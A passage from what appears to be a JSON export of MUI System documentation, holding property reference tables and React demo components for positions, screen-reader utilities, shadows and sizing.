    "content": "# Positions\n\n<p class=\"description\">Use these shorthand utilities for quickly configuring the position of an element.</p>\n\n## z-index\n\n{{\"demo\": \"ZIndex.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ zIndex: 'tooltip' }}>\n<Box sx={{ zIndex: 'modal' }}>\n```\n\n## API\n\n```js\nimport { positions } from '@mui/system';\n```\n\n| Import name | Prop       | CSS property | Theme key                                                                  |\n| :---------- | :--------- | :----------- | :------------------------------------------------------------------------- |\n| `position`  | `position` | `position`   | none                                                                       |\n| `zIndex`    | `zIndex`   | `z-index`    | [`zIndex`](/material-ui/customization/default-theme/?expand-path=$.zIndex) |\n| `top`       | `top`      | `top`        | none                                                                       |\n| `right`     | `right`    | `right`      | none                                                                       |\n| `bottom`    | `bottom`   | `bottom`     | none                                                                       |\n| `left`      | `left`     | `left`       | none                                                                       |\n"
  },
  {
    "path": "docs/data/system/properties/properties.md",
    "content": "# Properties\n\n<p class=\"description\">This API page lists all the custom MUI System properties, how they are linked with the theme, and which CSS properties they compute.</p>\n\nWhile this page documents the custom properties, MUI System was designed to be a superset of CSS, so all other regular CSS properties and selectors are supported too.\n\n## Properties reference table\n\nNote that this table only lists custom properties. All other regular CSS properties and selectors are supported too. You can check out the [legend](/system/properties/#legend) below.\n\n| System key(s)         | CSS property/properties                                                                      | System style function                                        | Theme mapping                                                                                       |\n| :-------------------- | :------------------------------------------------------------------------------------------- | :----------------------------------------------------------- | :-------------------------------------------------------------------------------------------------- |\n| `border`              | `border`                                                                                     | [`border`](/system/borders/#border)                          | `${value}px solid`                                                                                  |\n| `borderBottom`        | `border-bottom`                                                                              | [`borderBottom`](/system/borders/#border)                    | `${value}px solid`                                                                                  |\n| `borderColor`         | `border-color`                                                                               | [`borderColor`](/system/borders/#border-color)               | [`theme.palette[value]`](/material-ui/customization/default-theme/?expand-path=$.palette)           |\n| `borderLeft`          | `border-left`                                                                                | [`borderLeft`](/system/borders/#border)                      | `${value}px solid`                                                                                  |\n| `borderRadius`        | `border-radius`                                                                              | [`borderRadius`](/system/borders/#border-radius)             | [`theme.shape.borderRadius * value`](/material-ui/customization/default-theme/?expand-path=$.shape) |\n| `borderRight`         | `border-right`                                                                               | [`borderRight`](/system/borders/#border)                     | `${value}px solid`                                                                                  |\n| `borderTop`           | `border-top`                                                                                 | [`borderTop`](/system/borders/#border)                       | `${value}px solid`                                                                                  |\n| `boxShadow`           | `box-shadow`                                                                                 | [`boxShadow`](/system/shadows/)                              | `theme.shadows[value]`                                                                              |\n| `displayPrint`        | `display`                                                                                    | [`displayPrint`](/system/display/#display-in-print)          | none                                                                                                |\n| `display`             | `display`                                                                                    | [`displayRaw`](/system/display/)                             | none                                                                                                |\n| `alignContent`        | `align-content`                                                                              | [`alignContent`](/system/flexbox/#align-content)             | none                                                                                                |\n| `alignItems`          | `align-items`                                                                                | [`alignItems`](/system/flexbox/#align-items)                 | none                                                                                                |\n| `alignSelf`           | `align-self`                                                                                 | [`alignSelf`](/system/flexbox/#align-self)                   | none                                                                                                |\n| `flex`                | `flex`                                                                                       | [`flex`](/system/flexbox/)                                   | none                                                                                                |\n| `flexDirection`       | `flex-direction`                                                                             | [`flexDirection`](/system/flexbox/#flex-direction)           | none                                                                                                |\n| `flexGrow`            | `flex-grow`                                                                                  | [`flexGrow`](/system/flexbox/#flex-grow)                     | none                                                                                                |\n| `flexShrink`          | `flex-shrink`                                                                                | [`flexShrink`](/system/flexbox/#flex-shrink)                 | none                                                                                                |\n| `flexWrap`            | `flex-wrap`                                                                                  | [`flexWrap`](/system/flexbox/#flex-wrap)                     | none                                                                                                |\n| `justifyContent`      | `justify-content`                                                                            | [`justifyContent`](/system/flexbox/#justify-content)         | none                                                                                                |\n| `order`               | `order`                                                                                      | [`order`](/system/flexbox/#order)                            | none                                                                                                |\n| `gap`                 | `gap`                                                                                        | [`gap`](/system/grid/#gap)                                   | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `columnGap`           | `column-gap`                                                                                 | [`columnGap`](/system/grid/#row-gap-column-gap)              | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `rowGap`              | `row-gap`                                                                                    | [`rowGap`](/system/grid/#row-gap-column-gap)                 | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `gridColumn`          | `grid-column`                                                                                | [`gridColumn`](/system/grid/#grid-column)                    | none                                                                                                |\n| `gridRow`             | `grid-row`                                                                                   | [`gridRow`](/system/grid/#grid-row)                          | none                                                                                                |\n| `gridAutoFlow`        | `grid-auto-flow`                                                                             | [`gridAutoFlow`](/system/grid/#grid-auto-flow)               | none                                                                                                |\n| `gridAutoColumns`     | `grid-auto-columns`                                                                          | [`gridAutoColumns`](/system/grid/#grid-auto-columns)         | none                                                                                                |\n| `gridAutoRows`        | `grid-auto-rows`                                                                             | [`gridAutoRows`](/system/grid/#grid-auto-rows)               | none                                                                                                |\n| `gridTemplateColumns` | `grid-template-columns`                                                                      | [`gridTemplateColumns`](/system/grid/#grid-template-columns) | none                                                                                                |\n| `gridTemplateRows`    | `grid-template-rows`                                                                         | [`gridTemplateRows`](/system/grid/#grid-template-rows)       | none                                                                                                |\n| `gridTemplateAreas`   | `grid-template-areas`                                                                        | [`gridTemplateAreas`](/system/grid/#grid-template-areas)     | none                                                                                                |\n| `gridArea`            | `grid-area`                                                                                  | [`gridArea`](/system/grid/#grid-area)                        | none                                                                                                |\n| `bgcolor`             | `background-color`                                                                           | [`bgcolor`](/system/palette/#background-color)               | [`theme.palette[value]`](/material-ui/customization/default-theme/?expand-path=$.palette)           |\n| `color`               | `color`                                                                                      | [`color`](/system/palette/#color)                            | [`theme.palette[value]`](/material-ui/customization/default-theme/?expand-path=$.palette)           |\n| `bottom`              | `bottom`                                                                                     | [`bottom`](/system/positions/)                               | none                                                                                                |\n| `left`                | `left`                                                                                       | [`left`](/system/positions/)                                 | none                                                                                                |\n| `position`            | `position`                                                                                   | [`position`](/system/positions/)                             | none                                                                                                |\n| `right`               | `right`                                                                                      | [`right`](/system/positions/)                                | none                                                                                                |\n| `top`                 | `top`                                                                                        | [`top`](/system/positions/)                                  | none                                                                                                |\n| `zIndex`              | `z-index`                                                                                    | [`zIndex`](/system/positions/#z-index)                       | [`theme.zIndex[value]`](/material-ui/customization/default-theme/?expand-path=$.zIndex)             |\n| `height`              | `height`                                                                                     | [`height`](/system/sizing/#height)                           | none                                                                                                |\n| `maxHeight`           | `max-height`                                                                                 | [`maxHeight`](/system/sizing/)                               | none                                                                                                |\n| `maxWidth`            | `max-width`                                                                                  | [`maxWidth`](/system/sizing/)                                | none                                                                                                |\n| `minHeight`           | `min-height`                                                                                 | [`minHeight`](/system/sizing/)                               | none                                                                                                |\n| `minWidth`            | `min-width`                                                                                  | [`minWidth`](/system/sizing/)                                | none                                                                                                |\n| `width`               | `width`                                                                                      | [`width`](/system/sizing/#width)                             | none                                                                                                |\n| `boxSizing`           | `box-sizing`                                                                                 | [`boxSizing`](/system/sizing/)                               | none                                                                                                |\n| `m`, `margin`         | `margin`                                                                                     | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `mb`, `marginBottom`  | `margin-bottom`                                                                              | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `ml`, `marginLeft`    | `margin-left`                                                                                | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `mr`, `marginRight`   | `margin-right`                                                                               | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `mt`, `marginTop`     | `margin-top`                                                                                 | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `mx`, `marginX`       | `margin-left`, `margin-right`                                                                | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `my`, `marginY`       | `margin-top`, `margin-bottom`                                                                | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `marginInline`        | `margin-inline`                                                                              | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `marginInlineStart`   | `margin-inline-start`                                                                        | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `marginInlineEnd`     | `margin-inline-end`                                                                          | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `marginBlock`         | `margin-block`                                                                               | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `marginBlockStart`    | `margin-block-start`                                                                         | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `marginBlockEnd`      | `margin-block-end`                                                                           | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `p`, `padding`        | `padding`                                                                                    | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `pb`, `paddingBottom` | `padding-bottom`                                                                             | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `pl`, `paddingLeft`   | `padding-left`                                                                               | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `pr`, `paddingRight`  | `padding-right`                                                                              | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `pt`, `paddingTop`    | `padding-top`                                                                                | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `px`, `paddingX`      | `padding-left`, `padding-right`                                                              | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `py`, `paddingY`      | `padding-top`, `padding-bottom`                                                              | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `paddingInline`       | `padding-inline`                                                                             | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `paddingInlineStart`  | `padding-inline-start`                                                                       | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `paddingInlineEnd`    | `padding-inline-end`                                                                         | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `paddingBlock`        | `padding-block`                                                                              | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `paddingBlockStart`   | `padding-block-start`                                                                        | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `paddingBlockEnd`     | `padding-block-end`                                                                          | [`spacing`](/system/spacing/)                                | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing)           |\n| `typography`          | `font-family`, `font-weight`, `font-size`, `line-height`, `letter-spacing`, `text-transform` | [`typography`](/system/typography/#variant)                  | [`theme.typography[value]`](/material-ui/customization/default-theme/?expand-path=$.typography)     |\n| `fontFamily`          | `font-family`                                                                                | [`fontFamily`](/system/typography/#font-family)              | [`theme.typography[value]`](/material-ui/customization/default-theme/?expand-path=$.typography)     |\n| `fontSize`            | `font-size`                                                                                  | [`fontSize`](/system/typography/#font-size)                  | [`theme.typography[value]`](/material-ui/customization/default-theme/?expand-path=$.typography)     |\n| `fontStyle`           | `font-style`                                                                                 | [`fontStyle`](/system/typography/#font-style)                | [`theme.typography[value]`](/material-ui/customization/default-theme/?expand-path=$.typography)     |\n| `fontWeight`          | `font-weight`                                                                                | [`fontWeight`](/system/typography/#font-weight)              | [`theme.typography[value]`](/material-ui/customization/default-theme/?expand-path=$.typography)     |\n| `letterSpacing`       | `letter-spacing`                                                                             | [`letterSpacing`](/system/typography/#letter-spacing)        | [`theme.typography[value]`](/material-ui/customization/default-theme/?expand-path=$.typography)     |\n| `lineHeight`          | `line-height`                                                                                | [`lineHeight`](/system/typography/#line-height)              | [`theme.typography[value]`](/material-ui/customization/default-theme/?expand-path=$.typography)     |\n| `textAlign`           | `text-align`                                                                                 | [`textAlign`](/system/typography/#text-alignment)            | none                                                                                                |\n\n## Legend\n\nLet's take one row from [the table above](#properties-reference-table), for example:\n\n| System key(s)        | CSS property/properties | System style function         | Theme mapping                                                                             |\n| :------------------- | :---------------------- | :---------------------------- | :---------------------------------------------------------------------------------------- |\n| `mb`, `marginBottom` | `margin-bottom`         | [`spacing`](/system/spacing/) | [`theme.spacing(value)`](/material-ui/customization/default-theme/?expand-path=$.spacing) |\n\n<br />\n\nand detail each column:\n\n- **System keys**.\n  The column lists the key(s) by which you can use this property with the `sx` prop.\n\n  ```jsx\n  <Button sx={{ mb: 3 }}>\n  // or\n  <Box sx={{ mb: 3 }}>\n  // or\n  <Box sx={{ marginBottom: 3 }}>\n  ```\n\n- **CSS properties**.\n  The column describes which CSS property will be generated when this system property is used.\n\n  ```css\n  .my-class {\n    margin-bottom: Xpx;\n  }\n  ```\n\n- **System style function**.\n  The column lists the function which generates the properties shown in the other columns, as a reference in case you want to add this functionality to your custom components. The functions can be imported from `@mui/system`.\n  You can see an example of using the style functions on the [Custom components page](/system/getting-started/custom-components/#using-standalone-system-utilities). The content links to the documentation page where this properties are described; in this example, the [spacing](/system/spacing/) page.\n\n- **Theme mapping**.\n  Lastly, the column tells you how this property is wired with the theme – with this example, whatever value you provide will be used as input to the `theme.spacing` helper.\n\nLet's take a look at an example:\n\n```jsx\n<Button sx={{ mb: 3 }} />\n\n// is equivalent to\n<Button sx={{ marginBottom: theme => theme.spacing(3)}} />\n```\n\nAs the default theme spacing is 8px, this will result in the following CSS class:\n\n```css\n.my-class {\n  margin-bottom: 24px;\n}\n```\n"
  },
  {
    "path": "docs/data/system/screen-readers/VisuallyHiddenUsage.js",
    "content": "import Link from '@mui/material/Link';\nimport Box from '@mui/material/Box';\nimport { visuallyHidden } from '@mui/utils';\n\nexport default function VisuallyHiddenUsage() {\n  return (\n    <Link href=\"#foo\">\n      Read more\n      {/* always visually hidden because the parent is focusable element */}\n      <Box sx={visuallyHidden}>about how to visually hide elements</Box>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/screen-readers/VisuallyHiddenUsage.tsx",
    "content": "import Link from '@mui/material/Link';\nimport Box from '@mui/material/Box';\nimport { visuallyHidden } from '@mui/utils';\n\nexport default function VisuallyHiddenUsage() {\n  return (\n    <Link href=\"#foo\">\n      Read more\n      {/* always visually hidden because the parent is focusable element */}\n      <Box sx={visuallyHidden}>about how to visually hide elements</Box>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/screen-readers/VisuallyHiddenUsage.tsx.preview",
    "content": "<Link href=\"#foo\">\n  Read more\n  {/* always visually hidden because the parent is focusable element */}\n  <Box sx={visuallyHidden}>about how to visually hide elements</Box>\n</Link>"
  },
  {
    "path": "docs/data/system/screen-readers/screen-readers.md",
    "content": "# Screen readers\n\n<p class=\"description\">Collection of utilities for improving accessibility with screen readers.</p>\n\n## Visually hidden elements\n\nThe visually hidden style utility provides a common mechanism for hidings elements visually, but making them available for assistive technology.\nIt's a simple style object of type `React.CSSProperties`.\n\n{{\"demo\": \"VisuallyHiddenUsage.js\", \"defaultCodeOpen\": true}}\n\nIf you don't have a strict CSP policy in place, you can also do:\n\n```jsx\nimport { visuallyHidden } from '@mui/utils';\n\n<div style={visuallyHidden}>about how to visually hide elements</div>;\n```\n"
  },
  {
    "path": "docs/data/system/shadows/ShadowsDemo.js",
    "content": "import Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\n\nexport default function ShadowsDemo() {\n  return (\n    <Grid container>\n      <Box\n        sx={(theme) => ({\n          boxShadow: 0,\n          width: '8rem',\n          height: '5rem',\n          bgcolor: '#fff',\n          color: 'grey.800',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n          }),\n        })}\n      >\n        boxShadow: 0\n      </Box>\n      <Box\n        sx={(theme) => ({\n          boxShadow: 1,\n          width: '8rem',\n          height: '5rem',\n          bgcolor: '#fff',\n          color: 'grey.800',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n          }),\n        })}\n      >\n        boxShadow: 1\n      </Box>\n      <Box\n        sx={(theme) => ({\n          boxShadow: 2,\n          width: '8rem',\n          height: '5rem',\n          bgcolor: '#fff',\n          color: 'grey.800',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n          }),\n        })}\n      >\n        boxShadow: 2\n      </Box>\n      <Box\n        sx={(theme) => ({\n          boxShadow: 3,\n          width: '8rem',\n          height: '5rem',\n          bgcolor: '#fff',\n          color: 'grey.800',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n          }),\n        })}\n      >\n        boxShadow: 3\n      </Box>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/shadows/ShadowsDemo.tsx",
    "content": "import Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\n\nexport default function ShadowsDemo() {\n  return (\n    <Grid container>\n      <Box\n        sx={(theme) => ({\n          boxShadow: 0,\n          width: '8rem',\n          height: '5rem',\n          bgcolor: '#fff',\n          color: 'grey.800',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n          }),\n        })}\n      >\n        boxShadow: 0\n      </Box>\n      <Box\n        sx={(theme) => ({\n          boxShadow: 1,\n          width: '8rem',\n          height: '5rem',\n          bgcolor: '#fff',\n          color: 'grey.800',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n          }),\n        })}\n      >\n        boxShadow: 1\n      </Box>\n      <Box\n        sx={(theme) => ({\n          boxShadow: 2,\n          width: '8rem',\n          height: '5rem',\n          bgcolor: '#fff',\n          color: 'grey.800',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n          }),\n        })}\n      >\n        boxShadow: 2\n      </Box>\n      <Box\n        sx={(theme) => ({\n          boxShadow: 3,\n          width: '8rem',\n          height: '5rem',\n          bgcolor: '#fff',\n          color: 'grey.800',\n          p: 1,\n          m: 1,\n          borderRadius: 2,\n          textAlign: 'center',\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n          }),\n        })}\n      >\n        boxShadow: 3\n      </Box>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/shadows/shadows.md",
    "content": "# Shadows\n\n<p class=\"description\">Add or remove shadows to elements with box-shadow utilities.</p>\n\n## Example\n\nThe helpers allow you to control relative depth, or distance, between two surfaces along the z-axis.\nBy default, there are 25 elevation levels.\n\n{{\"demo\": \"ShadowsDemo.js\", \"defaultCodeOpen\": false, \"bg\": true}}\n\n```jsx\n<Box sx={{ boxShadow: 0 }}>…\n<Box sx={{ boxShadow: 1 }}>…\n<Box sx={{ boxShadow: 2 }}>…\n<Box sx={{ boxShadow: 3 }}>…\n```\n\n## API\n\n```js\nimport { shadows } from '@mui/system';\n```\n\n| Import name | Prop        | CSS property | Theme key |\n| :---------- | :---------- | :----------- | :-------- |\n| `boxShadow` | `boxShadow` | `box-shadow` | `shadows` |\n"
  },
  {
    "path": "docs/data/system/sizing/Height.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Height() {\n  return (\n    <Box sx={{ height: 100, width: '100%' }}>\n      <Box\n        sx={(theme) => ({\n          height: '25%',\n          width: 120,\n          display: 'inline-block',\n          p: 1,\n          mx: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Height 25%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          height: '50%',\n          width: 120,\n          display: 'inline-block',\n          p: 1,\n          mx: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Height 50%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          height: '75%',\n          width: 120,\n          display: 'inline-block',\n          p: 1,\n          mx: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Height 75%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          height: '100%',\n          width: 120,\n          display: 'inline-block',\n          p: 1,\n          mx: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Height 100%\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/sizing/Height.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Height() {\n  return (\n    <Box sx={{ height: 100, width: '100%' }}>\n      <Box\n        sx={(theme) => ({\n          height: '25%',\n          width: 120,\n          display: 'inline-block',\n          p: 1,\n          mx: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Height 25%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          height: '50%',\n          width: 120,\n          display: 'inline-block',\n          p: 1,\n          mx: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Height 50%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          height: '75%',\n          width: 120,\n          display: 'inline-block',\n          p: 1,\n          mx: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Height 75%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          height: '100%',\n          width: 120,\n          display: 'inline-block',\n          p: 1,\n          mx: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Height 100%\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/sizing/Values.js",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Values() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box\n        sx={(theme) => ({\n          width: 1 / 4,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 1/4\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: 300,\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 300\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: '75%',\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 75%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: 1,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 1\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/sizing/Values.tsx",
    "content": "import Box from '@mui/material/Box';\n\nexport default function Values() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box\n        sx={(theme) => ({\n          width: 1 / 4,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 1/4\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: 300,\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 300\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: '75%',\n          p: 1,\n          my: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 75%\n      </Box>\n      <Box\n        sx={(theme) => ({\n          width: 1,\n          p: 1,\n          bgcolor: 'grey.100',\n          color: 'grey.800',\n          border: '1px solid',\n          borderColor: 'grey.300',\n          borderRadius: 2,\n          fontSize: '0.875rem',\n          fontWeight: '700',\n          textAlign: 'center',\n          ...theme.applyStyles('dark', {\n            bgcolor: '#101010',\n            color: 'grey.300',\n            borderColor: 'grey.800',\n          }),\n        })}\n      >\n        Width 1\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/system/sizing/Width.js",
